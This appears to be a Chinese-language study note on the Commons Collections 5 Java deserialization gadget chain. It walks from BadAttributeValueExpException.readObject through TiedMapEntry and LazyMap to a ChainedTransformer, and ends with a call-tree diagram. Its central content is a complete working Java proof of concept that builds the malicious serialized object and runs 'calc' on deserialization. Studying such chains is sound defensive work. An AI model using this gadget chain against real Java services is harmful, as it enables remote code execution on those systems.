Apache Commons Collections 5

CC5链和CC1差不多，只不过调用LazyMap.get()是通过 TiedMapEntry.toString()触发的

TiedMapEntry.toString()

public String toString() {
    return getKey() + "=" + getValue();
}

TiedMapEntry.toSting()->TiedMapEntry.getValue()->LazyMap.get()->ChainedTransformer.transform()

BadAttributeValueExpException

在BadAttributeValueExpException的readObject()方法调用了toString()方法，且参数可控

public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
            || valObj instanceof Long
            || valObj instanceof Integer
            || valObj instanceof Float
            || valObj instanceof Double
            || valObj instanceof Byte
            || valObj instanceof Short
            || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}

POC

package cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class cc5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                //入口参数强制转换
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();

        Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer );
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 12);


        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("dis");

        Field val = BadAttributeValueExpException.class.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        
        serialize(badAttributeValueExpException);
        deserialize();
    }


    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc5.bin"));
        oos.writeObject(obj);
    }


    public static void  deserialize() throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc5.bin"));
        Object o =  ois.readObject();
//        System.out.println(o);

    }
}

ObjectInputStream.readObject()
└── BadAttributeValueExpException.readObject()
    └── toString(val)
        └── (val = TiedMapEntry 实例)
            └── TiedMapEntry.toString()
                └── getValue()
                    └── LazyMap.get(key)
                        └── ChainedTransformer.transform()
                            ├── ConstantTransformer(Runtime.class)
                            │     返回 java.lang.Runtime.class
                            ├── InvokerTransformer("getMethod", ...)
                            │     获取 Runtime.getRuntime 方法对象
                            ├── InvokerTransformer("invoke", ...)
                            │     调用 getRuntime() 得到 Runtime 实例
                            └── InvokerTransformer("exec", ...)
                                  执行系统命令（例如 calc）